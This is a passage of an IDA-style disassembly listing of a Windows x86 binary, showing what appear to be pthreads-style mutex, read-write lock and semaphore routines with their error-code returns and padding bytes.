		call	sub_4010AF
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42D7CD:				; CODE XREF: _294ADE7B:0042D77Aj
					; _294ADE7B:0042D7BCj
		push	esi
		call	sub_4010AF
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42D7DA:				; CODE XREF: _294ADE7B:0042D729j
					; _294ADE7B:0042D733j ...
		mov	eax, 16h


loc_42D7DF:				; CODE XREF: _294ADE7B:0042D74Ej
					; _294ADE7B:0042D76Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42D830:				; CODE XREF: _294ADE7B:00401E79j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_42D911
		mov	eax, [esi]
		test	eax, eax
		jz	loc_42D911
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42D864
		push	esi
		call	sub_401794
		add	esp, 4
		test	eax, eax
		jz	short loc_42D864
		cmp	eax, 10h
		jnz	loc_42D916


loc_42D864:				; CODE XREF: _294ADE7B:0042D84Cj
					; _294ADE7B:0042D859j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_42D911
		push	esi
		call	sub_4016DB
		add	esp, 4
		test	eax, eax
		jnz	loc_42D916
		lea	ebx, [esi+4]
		push	ebx
		call	sub_4016DB
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_42D8A9
		push	esi
		call	sub_4010AF
		add	esp, 4
		test	eax, eax
		jnz	short loc_42D916
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42D8A9:				; CODE XREF: _294ADE7B:0042D894j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_42D8F9
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_42D8C6
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_42D8C6:				; CODE XREF: _294ADE7B:0042D8B5j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_42D904
		push	ebx
		call	sub_4010AF
		add	esp, 4
		mov	edi, eax
		test	edi, edi
		push	esi
		jz	short loc_42D8EB
		call	sub_4010AF
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42D8EB:				; CODE XREF: _294ADE7B:0042D8DBj
		call	sub_4010AF
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_42D8FE


loc_42D8F9:				; CODE XREF: _294ADE7B:0042D8AEj
		mov	edi, 10h


loc_42D8FE:				; CODE XREF: _294ADE7B:0042D8F7j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42D904:				; CODE XREF: _294ADE7B:0042D8CBj
		mov	eax, edi
		mov	dword ptr [esi+10h], 1
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42D911:				; CODE XREF: _294ADE7B:0042D839j
					; _294ADE7B:0042D843j ...
		mov	eax, 16h


loc_42D916:				; CODE XREF: _294ADE7B:0042D85Ej
					; _294ADE7B:0042D87Ej ...
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42D960:				; CODE XREF: _294ADE7B:00401AF5j
		mov	eax, [esp+4]
		push	eax
		call	sub_401280
		add	esp, 4
		test	eax, eax
		jz	short loc_42D977
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_42D977:				; CODE XREF: _294ADE7B:0042D96Fj
		mov	eax, [esp+8]
		neg	eax
		sbb	eax, eax
		and	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42D9A0:				; CODE XREF: _294ADE7B:00401D61j
		mov	eax, [esp+4]
		push	eax
		call	sub_401280
		add	esp, 4
		test	eax, eax
		jnz	short loc_42D9C7
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_42D9C7
		cmp	eax, 2
		jbe	short loc_42D9C7
		mov	dword ptr [eax], 0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42D9C7:				; CODE XREF: _294ADE7B:0042D9AFj
					; _294ADE7B:0042D9B7j ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42D9E0:				; CODE XREF: _294ADE7B:00401159j
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		push	ebx
		call	sub_401280
		add	esp, 4
		test	eax, eax
		jnz	short loc_42DA26
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_42DA26
		mov	esi, [edi]
		push	eax
		call	sub_4014E2
		add	esp, 4
		cmp	esi, eax
		jl	short loc_42DA26
		push	0
		call	sub_4013E3
		add	esp, 4
		cmp	esi, eax
		jg	short loc_42DA26
		mov	eax, [ebx]
		mov	ecx, [edi]
		pop	edi
		pop	esi
		mov	[eax+10h], ecx
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DA26:				; CODE XREF: _294ADE7B:0042D9F2j
					; _294ADE7B:0042D9FAj ...
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42DA50:				; CODE XREF: _294ADE7B:00401DA2j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_401280
		add	esp, 4
		test	eax, eax
		jnz	short loc_42DA75
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_42DA75
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+10h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42DA75:				; CODE XREF: _294ADE7B:0042DA60j
					; _294ADE7B:0042DA68j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42DA90:				; CODE XREF: _294ADE7B:00401541j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_401280
		add	esp, 4
		test	eax, eax
		jz	short loc_42DAA9
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DAA9:				; CODE XREF: _294ADE7B:0042DAA0j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_42DABD
		cmp	eax, 1
		jz	short loc_42DABD
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DABD:				; CODE XREF: _294ADE7B:0042DAAFj
					; _294ADE7B:0042DAB4j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+14h], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42DAE0:				; CODE XREF: _294ADE7B:00401901j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_401280
		add	esp, 4
		test	eax, eax
		jnz	short loc_42DB05
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_42DB05
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+14h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42DB05:				; CODE XREF: _294ADE7B:0042DAF0j
					; _294ADE7B:0042DAF8j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DB20	proc near		; CODE XREF: sub_40104Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_4016B3
		add	esp, 8
		test	eax, eax
		jnz	short loc_42DB65
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		jl	short loc_42DB60
		cmp	eax, 2
		jg	short loc_42DB60
		test	eax, eax
		jz	short loc_42DB4C
		mov	eax, 30h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DB4C:				; CODE XREF: sub_42DB20+23j
		mov	eax, [esp+4+arg_8]
		mov	ecx, [eax]
		push	ecx
		push	0
		push	esi
		call	sub_401F3C
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DB60:				; CODE XREF: sub_42DB20+1Aj
					; sub_42DB20+1Fj
		mov	eax, 16h


loc_42DB65:				; CODE XREF: sub_42DB20+12j
		pop	esi
		retn
sub_42DB20	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DB90	proc near		; CODE XREF: sub_401F3Cj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	edi
		mov	[esp+0Ch+arg_8], esi
		call	sub_4014E2
		add	esp, 4
		cmp	esi, eax
		jl	loc_42DC35
		push	edi
		call	sub_4013E3
		add	esp, 4
		cmp	esi, eax
		jg	short loc_42DC35
		cmp	esi, 0FFFFFFF1h
		jle	short loc_42DBD0
		cmp	esi, 0FFFFFFFEh
		jge	short loc_42DBD0
		mov	[esp+8+arg_8], 0FFFFFFFEh
		jmp	short loc_42DBE2
; ---------------------------------------------------------------------------


loc_42DBD0:				; CODE XREF: sub_42DB90+2Fj
					; sub_42DB90+34j
		cmp	esi, 0Fh
		jge	short loc_42DBE2
		cmp	esi, 2
		jle	short loc_42DBE2
		mov	[esp+8+arg_8], 2


loc_42DBE2:				; CODE XREF: sub_42DB90+3Ej
					; sub_42DB90+43j ...
		mov	edi, [esp+8+arg_0]
		push	ebx
		push	ebp
		lea	ebp, [edi+24h]
		push	ebp
		call	sub_40208B
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_42DC2E
		mov	eax, [esp+10h+arg_8]
		mov	ecx, [edi+4]
		push	eax
		push	ecx
		call	ds:dword_4B380C
		test	eax, eax
		jnz	short loc_42DC22
		push	ebp
		mov	ebx, 16h
		call	sub_4010AF
		add	esp, 4
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DC22:				; CODE XREF: sub_42DB90+7Bj
		push	ebp
		mov	[edi+28h], esi
		call	sub_4010AF
		add	esp, 4


loc_42DC2E:				; CODE XREF: sub_42DB90+68j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DC35:				; CODE XREF: sub_42DB90+19j
					; sub_42DB90+2Aj
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_42DB90	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DC70	proc near		; CODE XREF: sub_402004j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_4016B3
		add	esp, 8
		test	eax, eax
		jnz	short loc_42DCA9
		mov	ecx, [esp+4+arg_4]
		cmp	ecx, 2
		jbe	short loc_42DCA4
		mov	eax, [esp+4+arg_8]
		test	eax, eax
		jz	short loc_42DCA4
		mov	dword ptr [ecx], 0
		mov	ecx, [esi+28h]
		mov	[eax], ecx
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DCA4:				; CODE XREF: sub_42DC70+1Bj
					; sub_42DC70+23j
		mov	eax, 16h


loc_42DCA9:				; CODE XREF: sub_42DC70+12j
		pop	esi
		retn
sub_42DC70	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DCC0	proc near		; CODE XREF: sub_4013E3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_42DCD3
		cmp	eax, 2
		jg	short loc_42DCD3
		mov	eax, 0Fh
		retn
; ---------------------------------------------------------------------------


loc_42DCD3:				; CODE XREF: sub_42DCC0+6j
					; sub_42DCC0+Bj
		call	ds:dword_4B3A50
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_42DCC0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DD00	proc near		; CODE XREF: sub_4014E2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_42DD13
		cmp	eax, 2
		jg	short loc_42DD13
		mov	eax, 0FFFFFFF1h
		retn
; ---------------------------------------------------------------------------


loc_42DD13:				; CODE XREF: sub_42DD00+6j
					; sub_42DD00+Bj
		call	ds:dword_4B3A50
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_42DD00	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42DD40:				; CODE XREF: _294ADE7B:004019E7j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_42DD85
		call	ds:dword_4B3808
		cmp	esi, eax
		jz	short loc_42DD85
		push	esi
		push	0
		push	200h
		call	ds:dword_4B387C
		test	eax, eax
		jnz	short loc_42DD85
		call	ds:dword_4B3898
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		call	ds:dword_4B3A50
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DD85:				; CODE XREF: _294ADE7B:0042DD47j
					; _294ADE7B:0042DD51j ...
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_42DD9E
		call	ds:dword_4B3A50
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DD9E:				; CODE XREF: _294ADE7B:0042DD8Bj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42DDD0:				; CODE XREF: _294ADE7B:004014A6j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_42DE15
		call	ds:dword_4B3808
		cmp	esi, eax
		jz	short loc_42DE15
		push	esi
		push	0
		push	400h
		call	ds:dword_4B387C
		test	eax, eax
		jnz	short loc_42DE15
		call	ds:dword_4B3898
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		call	ds:dword_4B3A50
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DE15:				; CODE XREF: _294ADE7B:0042DDD7j
					; _294ADE7B:0042DDE1j ...
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42DE40:				; CODE XREF: _294ADE7B:00401A55j
		push	0
		call	ds:dword_4B38CC
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DE60	proc near		; CODE XREF: sub_401B59j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		test	eax, eax
		jz	short loc_42DE7F
		mov	edi, 1
		call	ds:dword_4B3A50
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DE7F:				; CODE XREF: sub_42DE60+Aj
		push	4
		push	1
		call	ds:dword_4B3A64
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_42DE97
		mov	edi, 0Ch


loc_42DE97:				; CODE XREF: sub_42DE60+30j
		mov	eax, [esp+8+arg_8]
		push	0
		push	3FFFFFFFh
		push	eax
		push	0
		call	ds:dword_4B3804
		test	eax, eax
		mov	[esi], eax
		jnz	short loc_42DEC4
		mov	edi, 1Ch
		call	ds:dword_4B3A50
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DEC4:				; CODE XREF: sub_42DE60+4Fj
		test	edi, edi
		jz	short loc_42DED6
		call	ds:dword_4B3A50
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DED6:				; CODE XREF: sub_42DE60+66j
		mov	ecx, [esp+8+arg_0]
		pop	edi
		xor	eax, eax
		mov	[ecx], esi
		pop	esi
		retn
sub_42DE60	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DF20	proc near		; CODE XREF: sub_4015FAj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		jz	short loc_42DF45
		mov	esi, [edi]
		test	esi, esi
		jz	short loc_42DF45
		mov	dword ptr [edi], 0
		mov	eax, [esi]
		push	eax
		call	ds:dword_4B38C8
		test	eax, eax
		jnz	short loc_42DF57
		mov	[edi], esi


loc_42DF45:				; CODE XREF: sub_42DF20+8j
					; sub_42DF20+Ej
		call	ds:dword_4B3A50
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DF57:				; CODE XREF: sub_42DF20+21j
		push	esi
		call	ds:dword_4B3AAC
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		retn
sub_42DF20	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DF90	proc near		; CODE XREF: sub_401096j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_42DFC3
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42DFC3
		mov	eax, [eax]
		push	0
		push	eax
		call	ds:dword_4B3848
		cmp	eax, 102h
		jnz	short loc_42DFD5
		mov	esi, 0Bh
		call	ds:dword_4B3A50
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DFC3:				; CODE XREF: sub_42DF90+7j
					; sub_42DF90+Dj
		mov	esi, 16h
		call	ds:dword_4B3A50
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DFD5:				; CODE XREF: sub_42DF90+1Fj
		xor	eax, eax
		pop	esi
		retn
sub_42DF90	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E000	proc near		; CODE XREF: sub_40103Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_42E02D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42E02D
		mov	eax, [eax]
		push	eax
		call	sub_4015BE
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jz	short loc_42E03F
		call	ds:dword_4B3A50
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E02D:				; CODE XREF: sub_42E000+7j
					; sub_42E000+Dj
		mov	esi, 16h
		call	ds:dword_4B3A50
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E03F:				; CODE XREF: sub_42E000+1Ej
		xor	eax, eax
		pop	esi
		retn
sub_42E000	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E070	proc near		; CODE XREF: sub_4017CBj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		test	ebp, ebp
		push	esi
		jnz	short loc_42E093
		mov	esi, 16h
		call	ds:dword_4B3A50
		mov	[eax], esi
		pop	esi
		or	eax, 0FFFFFFFFh
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_42E093:				; CODE XREF: sub_42E070+Bj
		push	ebx
		push	edi
		mov	edi, [esp+1Ch+arg_4]
		test	edi, edi
		jnz	short loc_42E0A2
		or	ebx, 0FFFFFFFFh
		jmp	short loc_42E100
; ---------------------------------------------------------------------------


loc_42E0A2:				; CODE XREF: sub_42E070+2Bj
		lea	eax, [esp+1Ch+var_C]
		xor	ebx, ebx
		push	eax
		call	sub_4305A6
		mov	ecx, [edi]
		mov	esi, [esp+20h+var_C]
		add	esp, 4
		cmp	ecx, esi
		jl	short loc_42E100
		mov	edx, [edi+4]
		mov	eax, 431BDE83h
		add	edx, 7A120h
		mul	edx
		lea	eax, [ecx+ecx*4]
		lea	ecx, [esi+esi*4]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		sub	eax, ecx
		mov	ecx, [esp+1Ch+var_8]
		and	ecx, 0FFFFh
		cmp	eax, ecx
		jbe	short loc_42E100
		sub	eax, ecx
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_42E100
		dec	ebx


loc_42E100:				; CODE XREF: sub_42E070+30j
					; sub_42E070+49j ...
		mov	edx, [ebp+0]
		push	ebx
		mov	eax, [edx]
		push	eax
		call	sub_401C49
		add	esp, 8
		mov	esi, eax
		test	esi, esi
		pop	edi
		pop	ebx
		jz	short loc_42E128
		call	ds:dword_4B3A50
		mov	[eax], esi
		pop	esi
		or	eax, 0FFFFFFFFh
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_42E128:				; CODE XREF: sub_42E070+A5j
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 0Ch
		retn
sub_42E070	endp

; ---------------------------------------------------------------------------
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E160	proc near		; CODE XREF: sub_401037j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_42E17F
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42E17F
		mov	eax, [eax]
		push	0
		push	1
		push	eax
		call	ds:dword_4B3800
		test	eax, eax
		jnz	short loc_42E18F


loc_42E17F:				; CODE XREF: sub_42E160+6j
					; sub_42E160+Cj
		call	ds:dword_4B3A50
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_42E18F:				; CODE XREF: sub_42E160+1Dj
		xor	eax, eax
		retn
sub_42E160	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E1B0	proc near		; CODE XREF: sub_401EDDj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_42E1D6
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42E1D6
		mov	ecx, [esp+arg_4]
		test	ecx, ecx
		jle	short loc_42E1D6
		mov	eax, [eax]
		push	0
		push	ecx
		push	eax
		call	ds:dword_4B3800
		test	eax, eax
		jnz	short loc_42E1E6


loc_42E1D6:				; CODE XREF: sub_42E1B0+6j
					; sub_42E1B0+Cj ...
		call	ds:dword_4B3A50
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_42E1E6:				; CODE XREF: sub_42E1B0+24j
		xor	eax, eax
		retn
sub_42E1B0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E200:				; CODE XREF: _294ADE7B:004013DEj
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jz	short loc_42E24D
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_42E24D
		mov	edi, [esp+10h]
		test	edi, edi
		jz	short loc_42E24D
		mov	eax, [esi]
		push	0
		push	eax
		call	ds:dword_4B3848
		cmp	eax, 102h
		jnz	short loc_42E231
		xor	eax, eax
		mov	[edi], eax
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E231:				; CODE XREF: _294ADE7B:0042E228j
		mov	edx, [esi]
		lea	ecx, [esp+0Ch]
		push	ecx
		push	1
		push	edx
		call	ds:dword_4B3800
		mov	eax, [esp+0Ch]
		inc	eax
		mov	[edi], eax
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E24D:				; CODE XREF: _294ADE7B:0042E208j
					; _294ADE7B:0042E20Ej ...
		call	ds:dword_4B3A50
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E280:				; CODE XREF: _294ADE7B:00402072j
		call	ds:dword_4B3A50
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E2A0:				; CODE XREF: _294ADE7B:00401EB0j
		call	ds:dword_4B3A50
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E2C0:				; CODE XREF: _294ADE7B:00401B90j
		call	ds:dword_4B3A50
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E2E0	proc near		; CODE XREF: sub_4018B6j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_4B27A0
		xor	esi, esi
		call	ds:dword_4B3868
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42E314
		push	esi
		push	ecx
		call	sub_402054
		add	esp, 8
		mov	esi, eax
		push	offset dword_4B27A0
		call	ds:dword_4B386C
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E314:				; CODE XREF: sub_42E2E0+17j
		test	eax, eax
		jnz	short loc_42E31D
		mov	esi, 16h


loc_42E31D:				; CODE XREF: sub_42E2E0+36j
		push	offset dword_4B27A0
		call	ds:dword_4B386C
		mov	eax, esi
		pop	esi
		retn
sub_42E2E0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E350	proc near		; CODE XREF: sub_402054j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebp, edi
		mov	[esp+14h+var_4], edi
		jnz	short loc_42E36E
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42E36E:				; CODE XREF: sub_42E350+11j
		lea	eax, [esp+14h+var_4]
		push	eax
		call	sub_401B13
		mov	ebx, [esp+18h+arg_4]
		add	esp, 4
		test	eax, eax
		jz	short loc_42E3A9
		mov	[esp+14h+var_4], 1


loc_42E38B:				; CODE XREF: sub_42E350+5Ej
					; sub_42E350+63j
		push	8
		push	1
		call	ds:dword_4B3A64
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_42E3C0
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42E3A9:				; CODE XREF: sub_42E350+31j
		cmp	[esp+14h+var_4], 1
		jle	short loc_42E38B
		cmp	ebx, 1
		jnz	short loc_42E38B
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 28h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42E3C0:				; CODE XREF: sub_42E350+4Cj
		mov	eax, [esp+14h+var_4]
		cmp	eax, 1
		jle	short loc_42E3DD
		mov	[esi+4], eax
		mov	dword ptr [esi], 1
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42E3DD:				; CODE XREF: sub_42E350+77j
		lea	ecx, [esp+14h+arg_0]
		push	ecx
		call	sub_40192E
